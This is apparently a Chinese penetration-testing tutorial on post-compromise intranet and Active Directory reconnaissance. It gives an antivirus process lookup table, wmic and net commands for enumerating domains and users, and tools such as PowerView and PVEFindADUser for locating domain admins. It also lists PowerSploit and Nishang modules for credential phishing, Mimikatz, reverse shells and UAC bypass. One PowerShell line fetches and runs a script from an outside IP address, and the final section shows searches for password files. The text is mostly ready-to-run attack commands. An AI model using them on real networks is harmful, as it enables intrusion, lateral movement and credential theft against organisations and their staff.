    "SafeDogGuardCenter.exe": "安全狗",      "safedogupdatecenter.exe": "安全狗",      "safedogguardcenter.exe": "安全狗",      "SafeDogSiteIIS.exe": "安全狗", 
    "SafeDogTray.exe": "安全狗", 
    "SafeDogServerUI.exe": "安全狗", 
    "D_Safe_Manage.exe": "D盾", 
    "d_manage.exe": "D盾", 
    "yunsuo_agent_service.exe": "云锁", 
    "yunsuo_agent_daemon.exe": "云锁", 
    "HwsPanel.exe": "护卫神", 
    "hws_ui.exe": "护卫神", 
    "hws.exe": "护卫神", 
    "hwsd.exe": "护卫神", 
    "hipstray.exe": "火绒", 
    "wsctrl.exe": "火绒", 
    "usysdiag.exe": "火绒", 
    "SPHINX.exe": "SPHINX防火墙", 
    "bddownloader.exe": "百度卫士", 
    "baiduansvx.exe": "百度卫士-主进程", 
    "AvastUI.exe": "Avast!5主程序", 
    "emet_agent.exe": "EMET", 
    "emet_service.exe": "EMET", 
    "firesvc.exe": "McAfee", 
    "firetray.exe": "McAfee", 
    "hipsvc.exe": "McAfee", 
    "mfevtps.exe": "McAfee", 
    "mcafeefire.exe": "McAfee", 
    "scan32.exe": "McAfee", 
    "shstat.exe": "McAfee", 
    "vstskmgr.exe": "McAfee", 
    "engineserver.exe": "McAfee", 
    "mfeann.exe": "McAfee", 
    "mcscript.exe": "McAfee", 
    "updaterui.exe": "McAfee", 
    "udaterui.exe": "McAfee", 
    "naprdmgr.exe": "McAfee", 
    "cleanup.exe": "McAfee", 
    "cmdagent.exe": "McAfee", 
    "frminst.exe": "McAfee", 
    "mcscript_inuse.exe": "McAfee", 
    "mctray.exe": "McAfee", 
    "_avp32.exe": "卡巴斯基", 
    "_avpcc.exe": "卡巴斯基", 
    "_avpm.exe": "卡巴斯基", 
    "aAvgApi.exe": "AVG", 
    "ackwin32.exe": "已知杀软进程,名称暂未收录", 
    "alertsvc.exe": "Norton AntiVirus", 
    "alogserv.exe": "McAfee VirusScan", 
    "anti-trojan.exe": "Anti-Trojan Elite", 
    "arr.exe": "Application Request Route", 
    "atguard.exe": "AntiVir", 
    "atupdater.exe": "已知杀软进程,名称暂未收录", 
    "atwatch.exe": "Mustek", 
    "au.exe": "NSIS", 
    "aupdate.exe": "Symantec", 
    "auto-protect.nav80try.exe": "已知杀软进程,名称暂未收录",      "autodown.exe": "AntiVirus AutoUpdater", 
    "avconsol.exe": "McAfee", 
    "avgcc32.exe": "AVG", 
    "avgctrl.exe": "AVG", 
    "avgemc.exe": "AVG", 
    等等......

自动本地信息收集

以下的脚本帮助我们辅助完成工作

Batchfile
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\\*htable.xsl') do set "var=%%A"

wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html

wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html

wmic USERACCOUNT list full /format:"%var%" >> out.html

wmic group list full /format:"%var%" >> out.html

wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html

wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html

wmic netuse list full /format:"%var%" >> out.html

wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html

wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html

wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html

wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html

wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html

域内信息收集

查询权限

查看当前权限命令如下

Text Only
whoami

获取台主机的权限后,有三种情况:

1、本地普通用户:当前为本机的user用户

2、本地管理员用户:当前为本机的admmistrator

3、域内用户:当前为域内普通用户

4、域内用户:当前为hacke域内的administrator用户

在这四种情况中。

如果当前内网中存在域,那么本地普通用户只能查询本机相关信息,不能查询域内信息.

而本地管理员用户和域内用户可以查询域内信息.

其原理是:域内的所有查询都是通过域控制器实现的(基于LDAP协议),而这个查询需要经过权限认证,所以,只有域用户才拥有这个权限;当域用户执行查询命令时,会自动使用Kerberos协议进行认证,无须额外输人账 号和密码本地管理员Admmistrator权限可以直接提升为Ntauthority或System权限,因此,在域中,除普通用户外,所有的机器都有—个机器用户(用户名是机器名加上"$")。在本质上,机器的system用户对应的就是域里面的机器用户所以,使用System权限可以运行域内的查询命令。

判断域的存在

获得了本机的相关信息后’就要判断当前内网中是否存在域°如果当前内网中存在域,就需要判断所控主机是否在域内下面讲解几种方法。

Text Only
ipconfig /all

执行命令,可以查看网关IP地址、DNS的IP地址,域名、本机是否和DNS服务器处于同一网段等信息

然后,通过反向解析查询命令nslookup来解析域名的IP地址。用解析得到的IP地址进行对比判断域控制器和DNS服务器是否在同—台服务器上。

Text Only
systeminfo | findstr "域"
# or
systeminfo | findstr "domain"

执行如下命令,"域"即域名,登录服务器"为域控制器°如果"域'为"WORKGROUP",表示当前服务器不在域内

Text Only
net config workstation

Text Only
Net time /domain

一般会有如下三种情况:

  • 存在域,但当前用户不是域用户

  • 存在域,并且当前用户是域用户

  • 当前网络环境为工作组,不存在域

查询域

确定了当前内网拥有的域,且所控制的主机在域内,就可以进行域内相关信息的收集了。介绍的查询命令在本质上都是通过LDAP协议到域控制器上进行查询的,所以在查询 时需要进行权限认证。只有域用户才拥有此权限,本地用户无法运行本节介绍的查询命令( System权限用户除外。

在域中,除普通用户外,所有的机器都有一个机器用户,其用户名为机器名加上 "$"。 System权限用户对应的就是域里面的机器用户,所以System权限用户可以运行本节介绍的查询命令)

查询域的命令如下

如果出现"此工作组的服务器列表当前无法使用" 开启服务:Server ,WorkStation,computer Browser,关闭防火墙

Text Only
net view /domain

查询域内所有计算机

Text Only
net view/domain:域名

执行如下命令,就可以通过查询得到的主机名对主机角色进行初步判断,如图。例如,"dev"可能是开发服务器,"web""app"可能是Web服务器,"NAS"可能是存储服务器" fileserver"可能是文件服务器等。

查询域内所有用户组

Text Only
net group /domain

执行如下命令,查询域内所有用户组列表。

系统自带的常见用户身份如下:

Text Only
DomainAdmins:域管理员。
DomainComputers:域内机器。
DomainControllers:域控制器。
DomainGusers:域访客,权限较低。
DomainUser:域用户。

EnterpriseAdmins:企业系统管理员用户

在默认情况下, Domain admins和Enterprise Admins对域内所有域控制器有完全控制权限

查询所有域成员计算机列表

执行如下命令,查询所有域成员计算机列表

Text Only
net group "domain computers" /domain

获取域密码信息

执行如下命令’获取域密码策略、密码长度、错误锁定等信息

Text Only
net accounts /domain

获取域信任信息

执行如下命令’获取域信任信息

Text Only
nltest /domain\_trusts

查询域控主机

查看域控制器的机器名

执行如下命令,可以看到,域控制器的机器名

Text Only
nltest /DCLIST:hack

查看域控制器的主机名

执行如下命令,可以看到,域控制器的主机名

Text Only
nslookup -type=SRV _ldap._tcp

查看当前时间

在通常情况下,时间服务器为主域控制器。执行如下命令

Text Only
net time /domain

查看域控制器组

执行如下命令,查看域控制器组。,其中有一台机器名为"DC"的域控制器`

Text Only
net group "Domain Controllers" /domain

在实际网络中,一个域内一般存在两台或两台以上的域控制器,其目的是:一旦主域控制器发生故障,备用的域控制器可以保证域内的服务和验证工作正常进行。

查看域内用户信息

向域控制器进行查询

执行如下命令,向域控制器DC进行查询,,域内有多个用户。其中,krbtgt 用户不仅可以创建票据授权服务(TGS)的加密密钥,还可以实现多种域内权限持久化方法,

Text Only
net user /domain

获取域内用户的详细信息

执行如下命令,可以获取域内用户的详细常见参数包括用户名、描述信息、SID、域名、状态等

Text Only
wmic useraccount get/all

查看存在的用户

执行如下命令,可以看到,域内用户(server机器有这个命令)

Text Only
dsquery user

常用的 dsquery命令:

Text Only
dsquery computer ‐查找目录中的计算
dsquery contact ‐查找目录中的职系人
dsquery subnet ‐目录中的子网
dsquery group ‐查找目录中的组,
dsquery ou ‐查找目录中的组织单位,
dsquery site ‐最找目景中的站成
dsquery server ‐查找目录中的ADDC/LDs实例
asquery user ‐查找目录中的用户
dsquery quota ‐查找目录中的配颗机定
dsquery partition ‐查找目录中的分区

查询本地管理员组用户

Text Only
net localgroup administrators

Domain admin组中的用户默认为域内机器的本地管理员用户 在实际应用中’为了方便管 理’会有域用户被设置为域机器的本地管理员用户°

  • VOLUME ‐ 本地存储卷管理。

  • VOLUMEQUOTASETTING ‐ 将磁盘配额设置与特定磁盘卷相关联。

  • VOLUMEUSERQUOTA ‐ 每用户存储卷配额管理。

  • WMISET ‐ WMI 服务操作参数管理。

查询域管理用户

Text Only
net group "domain admins" /domain

查询域管理员用户组

Text Only
net group "Enterprise Admins" /domain

域用户定位技术

在域环境中,域用户默认是可以登录域内任何一台机器的,这是因为域管理员在新增域用户时该域用户默认就会存在域用户组 Domain Users 中,加入域的域成员机器会默认将全局组 Domain Users 加到其本地的 User 组中,而域成员机器本地组策略中的 “允许在本地登陆” 属性中包含了本地的 Users 组。

如下图可以可以看到域成员机器本地组策略中的 “允许在本地登陆” 属性中包含了本地的 Users 组:

image-20210803120031058

如下图可以看到域成员机器本地的 Users 组中包含了域全局组 Domain Users :

image-20210803120133942

因此域用户默认是可以在域中的任何一台计算机上登录的。

但是这样可能会存在一些安全隐患,所以域管理员为了安全起见,通常会限制域用户只能登陆指定的计算机,或限制某台计算机只允许指定的用户登录。具体操作有以下两种。

对域用户做限制,设置域用户只能登陆指定的计算机

image-20210803120732012

如上图,设置该域用户只允许登录到 Client-PC 这台机器。

对机器做限制,限制某台计算机只允许指定的用户登录

这个可以通过下发组策略实现:

image-20210803121101654

可以看到,这台计算机运行 Administrators 组和 Users 组的用户登录,如果此时需要设置不再允许 Users 组的用户登录的话,直接将 Users 组从里面删掉即可:

image-20210803121601047

也可以直接在 “允许本地登陆” 中添加想要登陆的组和域成员名。

查询指定域用户能够登录的主机

域用户默认能本地登录域内的任何一台主机,但域管理员为了安全起见,通常会限制域用户只能登陆指定的计算机。在内网信息收集中,我们需要找到指定域用户能够登录的主机。

在限制了域用户只能登录到某台主机之后,在 Active Directory 里面,会为该域用户设置一个userWorkStations属性。这个属性保存了这个域用户能够登录到的主机。而这个字段对于域内任何用户都是可读的,我们可以通过读域用户的userWorkStations属性来查看域用户能够登录的主机:

Text Only
Adfind.exe -b dc=whoamianony,dc=org -sc u:whoami userWorkstations

还可以通过 PowerView 脚本查看:

Text Only
Import-Module .\powerview.ps1
Get-NetUser -Domain whoami.whoamianony.org

查询指定主机上正在登陆的域用户

在收集内网信息时,我们经常会查询指定主机上正在登陆的域用户。这一查询我们可以直接通过现有的工具实现,但首先我们要先看两个 Win32 API。

NetSessionEnum是一个 Win32 API,用来提供有关在服务器上建立的会话的信息。

C
NET_API_STATUS NET_API_FUNCTION NetSessionEnum(
LMSTR   servername,
LMSTR   UncClientName,
LMSTR   username,
DWORD   level,
LPBYTE  *bufptr,
DWORD   prefmaxlen,
LPDWORD entriesread,
LPDWORD totalentries,
LPDWORD resume_handle
);

可以看到这个 API 的第一个参数是servername,我们可以通过servername指定一个远程的主机,然后这个 API 会去调用远程主机的 RPC,然后返回其他用户在访问这台远程主机的网络资源(例如文件共享)时所创建的网络会话,从而可以看到这个用户来自何处。

但是该 API 并不能查询到是谁登陆了这台远程主机,但是可以看到访问这台远程主机的网络资源时所创建的网络会话。从这个网络会话中可以看到哪个域用户来自哪个 IP。并且该 API 不需要在远程主机上有管理员权限。

我们利用NetWkstaUserEnum这个 API 来列出当前登录到这台远程主机机器的所有用户的信息

C
NET_API_STATUS NET_API_FUNCTION NetWkstaUserEnum(
LMSTR   servername,
DWORD   level,
LPBYTE  *bufptr,
DWORD   prefmaxlen,
LPDWORD entriesread,
LPDWORD totalentries,
LPDWORD resumehandle
);

这个 API 的第一个参数也是servername可以指定一个远程主机,然后会去调用这台远程主机的 RPC,然后返回当前登录到这台远程主机的所有用户的信息。值得注意的是,调用该函数的用户需要具备机器A的本地管理员权限。但是该 API 需要在远程主机上有管理员权限。

目前有很多工具可以用来枚举域内某台主机上正在登陆的域用户,下面就简单介绍几个十分经典的工具,其本质还是调用了这两个 API 。

Important

需要注意的是,目标机器需要开启远程注册表连接才可以查询到,普通机器默认关闭,服务器默认开启

  • psloggedon.exe

psloggedon.exe可以查看本地登陆的用户和通过本地计算机或远程计算机资源登陆的用户。如果指定的是用户名而不是机器名,psloggedon.exe 会搜索网上邻居中的所有计算机,并显示该用户是否已经登录。该工具的某些功能可能需要管理员权限。

Text Only
psloggedon.exe /accepteula [-l] [-x] [\\computername或username]

如下所示,查询域控制器 DC 上正在登陆的用户:

Text Only
psloggedon.exe /accepteula \\DC

image-20210803143222020

  • PVEFindADUser.exe

PVEFindADUser.exe可用于查找活动目录用户登陆的位置、枚举域用户,以及查找在特定计算机上登陆的用户,包括查找本地用户、通过 RDP 远程桌面登陆的用户、通过运行服务和计划任务的用户。运行该工具需要计算机配置 .NET Framework 2.0 环境。

Text Only
PVEFindADUser.exe <参数>

我们一般直接运行以下命令,即可显示域中所有计算机上当前登陆的所有用户:

Text Only
PVEFindADUser.exe -current

image-20210803151119664

也可以通过-target指定查询的主机:

Text Only
PVEFindADUser.exe -current -target DC.whoamianony.org

image-20210803145002019

在某些情况下,主机开启了防火墙,这可能导致探测有误,可以使用以下命令来忽略ping检查

Text Only
PVEFindADUser.exe -current -noping -os

查询域用户正在登录的主机

查询域用户正在登录的主机可以定位域用户,比如我们在内网渗透中,常常会使用各种工具来获取当前域管理员在线登录的机器,入侵此机器,然后迁移到域管理登陆所在的进程,便拥有了域管理的权限。定位域用户正在登录的主机有两种常规方法,一是日志,二是会话。

会话查询

  • PVEFindADUser.exe
Text Only
PVEFindADUser.exe -current

image-20210803151112950

Text Only
PVEFindADUser.exe -current -target {COMPUTER_NAME}/{IP}

查询指定主机或IP登录的用户

Text Only
PVEFindADUser.exe -current {DOMAIN}\{USER_NAME}

查询指定用户登录的主机

Text Only
PVEFindADUser.exe -current -target {COMPUTER_NAME}/{IP} -noping
PVEFindADUser.exe -current {DOMAIN}\{USER_NAME} -noping

Tip

值得一提的是,当查询主机开启防火墙并禁止Ping,那么需要增加-noping选项,建议查询时都带上-noping选项

  • PowerView.ps1

PowerView.ps1脚本可以用来获取当前域管理员在线登录的主机,其依赖 PowerShell 和 WMI,是一个收集域信息很好用的脚本。

Invoke-UserHunter:搜索域管理员当前在线登录的主机,并验证当前用户是否具有对这些主机的本地管理员访问权限。它可以使用 Get-NetSessions 和Get-NetLoggedon 扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,并且无需管理员权限。

如下,可以看到本地域有两个域管理员:

image-20210803151623606

下面,我们通过 Invoke-UserHunter 来定位他们:

Text Only
Import-Module .\powerview.ps1
Invoke-UserHunter

image-20210803152059295

也可以查找指定用户当前在线登录的主机:

Text Only
Invoke-UserHunter -UserName whoami

日志查询

如果我们获得了域控权限,想要定位指定用户登录的主机,可以从域控上导出登录日志来进行查询。由于域内用户登录域需要域控验证,所以在域控都有相应的登录日志,登录成功日志的事件ID为4624,登录类型为3,登录失败日志的事件ID为4625

  • SharpUserIP

github:https://github.com/lele8/SharpUserIP

Text Only
服务器登陆日志 (需管理员权限)
在域控或远程提取登录日志,快速获取域用户对应的 IP 地址

该工具支持查询域控上1~365天内的登录日志,使用时直接指定天数即可。

Text Only
Usage:
       SharpUserIP.exe -d 7
       SharpUserIP.exe -h ip -d 7
       SharpUserIP.exe -h ip -d 7 -f user1,user2
       SharpUserIP.exe -h ip -u username -p password -d 7
       SharpUserIP.exe -h ip -u username -p password -d 7 -all
       SharpUserIP.exe -h ip -u username -p password -d 7 -f user -o C:\path\result.txt

定位域管理员

NTML和LM定位域管理员

在内网中,通常会部署大址的网络安全系统和设备,例如IDS、IPS、日志审计、安全网关、 反病毒软件等。在域网络攻击测试中,获取域内的一个支点后,需要获取域管理员权限. 在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员权限,也就是说, 当目机被添加到城中.成为域的成员主机后,系统会自动将域管理员组添加到本地系统管理员组中,因此域管理员组的成员都可以访问本地计算机,且具备安全控制权限

定位域内管理员的常规渠道,一是日志,二是会话。日志是指本地机器的管理员日志,会话是指域内每台机器的登录会话

假设已经在Windows域中取得了普通用户权限,希望在城内横向移动,需要知道域内用户登录的位置、他是否是任何系统的本地管理员、他所属的组、他是否有权访问文 件共享等。枚举主机、用户和组,有助于更好地了解域的布局。

手动定位域管理员

Text Only
net view /domain 
#查看当前域名
net view /domain:域名 
#查看域内部所有计算机名
net group /domain 
#查看域内部所有用户组列表
net group "domain computers" /domain 
#查看所有域成员计算机列表
net accounts /domain 
#查看域密码信息
nltest /domian_trusts 
#获取域信任信息
nltest /DCLIST:域名 
#查看域控制器机器名
net time /domain 
#查看当前时间,因为时间服务器也是主域服务器,可以看到域服务器的机器名
net group "Domain Controllers" /domain 
#查看域控制器组,因为可能有不止一台域控,有主备之分
net user /domain 
#查询域内用户,会看到熟悉的krbtgt用户
wmic useraccount get /all 
#获取域内用户详细信息
dsquery user 
#查看域内存在的用户
net localgroup administrators 
#查看本地管理员用户组
net group "domain admins" /domain 
#查询域管理员用户

psloggedom.exe工具

psloggedon.exe 可以显示本地登录的用户和通过本地计算机或远程计算机的资源登录的用户。如果指定了用户名而不是计算机,psloggedon.exe 会搜索网络邻居中的计算机,并显示该用户当前是否已登录。

Text Only
psloggedon.exe [‐] [‐l] [‐x] [\\computername或username]

PVEDFindADUser.exe工具

pveFindADUser.exe 可用于查找 Active Directory 用户登录的位置,枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过RDP 登录的用户、用于运行服务和计划任务的用户账户。运行该工具的计算机需要具有.NETFramework 2.0,并且需要具有管理员权限

Text Only
‐h:显示帮助信息
‐current["username"]:如果仅指定‐current参数,将获取目标计算机上当前登录的所有用户。如果指定了用户名
(Domain\Username),则显示该用户登录的计算机
‐last["username"]:如果仅指定‐last参数,将获取目标计算机上最后一个登录用户。如果指定了用户名
(Domain\Username),则显示此用户上次登录的计算机。根据网络的安全策略,可能会隐藏最后一个登录用户的用户
名,此时使用该工具可能无法得到用户名
‐noping:阻止该工具在获取用户登陆信息之前对目标执行ping命令
‐target:可选参数,用于指定要查询的主机。如果未指定该参数,将查询域中的所有主机。如果指定了此参数,主机名
列表由逗号分隔
直接运行"pvefindaduser.exe ‐current",即可显示域中所有计算机上当前登录的用户

netview.exe

netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用NetSessionEnum找寻登陆会话,利NetShareEnum找寻共享,利用NetWkstaUserEnum枚举登陆的用户。同时,netview.exe 能够查询共享入口和有价值的用户。

netview.exe的绝大部分功能不需要管理员权限就可以使用。

使用语法:

Text Only
netview.exe <参数>
‐h:显示帮助菜单。
‐f filename.txt:指定从中提取主机列表的文件。
‐e filename.txt:指定要排除的主机名文件。
‐o filename.txt:将所有输出重定向到文件。
‐d domain:指定从中提取主机列表的域。如果没有指定,则使用当前域。
‐g group:指定用户搜寻的组名。如果没有指定,则使用 Domain Admins。
 ‐c:检查对已找到共享的访问权限。

NSE脚本

如果存在域账户或者本地账户就可以使用Nmap的smb-enum-sessions.nes引擎获取远程机器的登录会话(不需要管理员权限)。

Text Only
smb‐enum‐domain:对域控制器进行信息收集,可以获取主机的信息、用户、可使用密码策略的用户等
smb‐enum‐users:在进行域渗透测试时,如果获得了域内某台主机的权限,无法获取更多的域用户信息,就可以借助这
个脚本对域控制器进行扫描
smb‐enum‐shares:遍历远程主机的共享目录
smb‐enum‐processes:对主机的系统进行遍历。通过这些信息,可以知道目标主机上正在运行哪些软件。
smb‐enum‐sessions:获取域内主机的用户登录会话,查看当前是否有用户登录。
smb‐os‐discovery:收集目标主机的操作系统、计算机名、域名域林名称、NetBIOS机器名、NetBIOS域名,工作组

PowerView脚本

PowerView 脚本中包含了一系列的 powershell 脚本,信息收集相关的脚本有 Invoke-StealthUserHunter、Invoke-UserHunter 等,

Text Only
powershell.exe ‐exec bypass ‐command "& { import‐module .\PowerView.ps1;Invoke‐UserHunter}"

域控日志查询

PowerShell信息收集

PowerSploit

PowerSploit是GitHub上面的一个安全项目,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持

Powershell的优点:

  1. 代码运行在内存中可以不去接触磁盘

  2. 从另一个系统中下载代码并执行

  3. 很多安全产品并不能监测到powershell的活动
  4. cmd.exe通常被阻止运行,但是powershell不会
Text Only
AntivirusBypass:发现杀毒软件的查杀特征。
CodeExecution:在目标主机上执行代码。
Exfiltration:目标主机上的信息搜集工具。
Mayhem:蓝屏等破坏性脚本。
Persistence:后面脚本(持久性控制)。
Recon:以目标主机为跳板进行内网信息侦察。
ScriptModification:在目标主机上创建或修改脚本。

powerview也是一款非常好的powershell脚本工具,用于域内信息的收集。他集成在在 PowerSploit-master\Recon目录下。

使用方式三种方式:

  • 本地执行:
PowerShell
shell powershell.exe -exec bypass -command "& { import-module C:\Users\Administrator\Desktop\PowerView.ps1;Get-NetShare}"

  • 远程执行:

python 开启http 服务 python -m http.server 8080

PowerShell
shell powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://118.178.134.226:8080/PowerView.ps1');import-module .\PowerView.ps1;Get-NetShare

  • CS自带命令
Text Only
beacon> powershell-import 
//导入各种powershell脚本
beacon>powershell posershell脚本名 
//执行脚本
beacon> powershell Check-VM 
//执行命令
Text Only
Get-NetDomain                           获取当前用户所在的域名称
Get-NetUser                             返回所有用户详细信息
Get-NetDomainController                 获取所有域控制器
Get-NetComputer                         获取所有域内机器详细信息
Get-NetOU                               获取域中OU信息
Get-NetGroup                            获取所有域内组和组成员信息
Get-NetFileServer                       根据SPN获取当前域使用的文件服务器
Get-NetShare                            获取当前域内所有网络共享
Get-NetSession                          获取在指定服务器存在的Session信息
Get-NetRDPSession                       获取在指定服务器存在的远程连接信息
Get-NetProcess                          获取远程主机的进程信息
Get-UserEvent                           获取指定用户日志信息
Get-ADObject                            获取活动目录的对象信息
Get-NetGPO                              获取域所有组策略对象
Get-DomainPolicy                        获取域默认或域控制器策略
Invoke-UserHunter                       搜索网络中域管理员正在使用的主机
Invoke-ProcessHunter                    查找域内所有机器进程用于找到某特定用户
Invoke-UserEventHunter                  根据用户日志获取某域用户登陆过哪些域机器

Nishang

本地执行

查看可用的模块
PowerShell
shell powershell Import-Module .\nishang\nishang.psm1;Get-Command -Module nishang

Text Only
Check-VM 检测该主机是不是虚拟机
Invoke-CredentialsPhish 欺骗用户,让用户输入密码
Get-WLAN-Keys wifi 信息
Invoke-Mimikatz 抓密码
Get-PassHashes 获取hash
Get-PassHints 获取用户的密码提示信息
Invoke-PowerShellTcp 反弹shell
Invoke-PsUACme 绕过UAC
Remove-Update 删除补丁
Get-Information 本机信息

远程执行

Text Only
powershell-import nishang\nishang.psm

敏感数据定位

内网的核心敏感数据,不仅包括数据库、电子邮件,还包括个人数据及组织的业务数据、技术数据等。可以说,价值较高的数据基本都在内网中。

资料、数据、文件的定位流程

  1. 定位内部人事组织结构
  2. 在内部人事组织结构中寻找需要监视的人员
  3. 定位相关人员的机器
  4. 视相关人员存放文档的位置
  5. 列出存放文档的服务器的目录

重点核心业务机器

  1. 高级管理人员 系统管理人员 财务/人事/业务人员的个人计算机
  2. 产品管理系统服务器
  3. 办公系统服务器
  4. 财务应用系统服务器
  5. 核心产品源码服务器(SVN/GIT服务器)
  6. 数据库服务器
  7. 文件服务器,
  8. 共享服务器
  9. 电子邮件服务器
  10. 网站监控系统服务器
  11. 信息安全监控服务器
  12. 生产工厂服务器

敏感信息和敏感文件

  1. 站点源码备份文件,数据库备份文件等等
  2. 游览器保存的密码和游览器的cookie
  3. 其他用户会话,
  4. 3389和ipc$连接记录,
  5. 回收站中的信息等等
  6. Windows的无线密码
  7. 网络内部的各种账号密码,
  8. 包含电子邮箱,V**,FTP等等

在内网中,我们一定要知道自己拿下的机器的人员的职位(职位高的人在内网中权限也高,计算机中的敏感信息也多,还有一种就是特殊职位的人员,例如上面说的,一般都有一些与职位相关的敏感信息。)还有就是拿下一台机器后要先维权,权限稳了再收集信息,信息收集一定要全面仔细,信息收集完了再搞内网。往目标主机中传工具用完就删。翻文件的话,可以使用一些搜索命令来快速寻找。

指定目录下搜集各类敏感文件

Text Only
dir /a /s /b d:\"*.txt"
dir /a /s /b C:\"*.xlsx"
dir /a /s /b d:\"*.md"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.pdf"
dir /a /s /b d:\"*.docx"
dir /a /s /b d:\"*.doc"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"

指定目录下的文件中搜集各种账号密码

Text Only
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak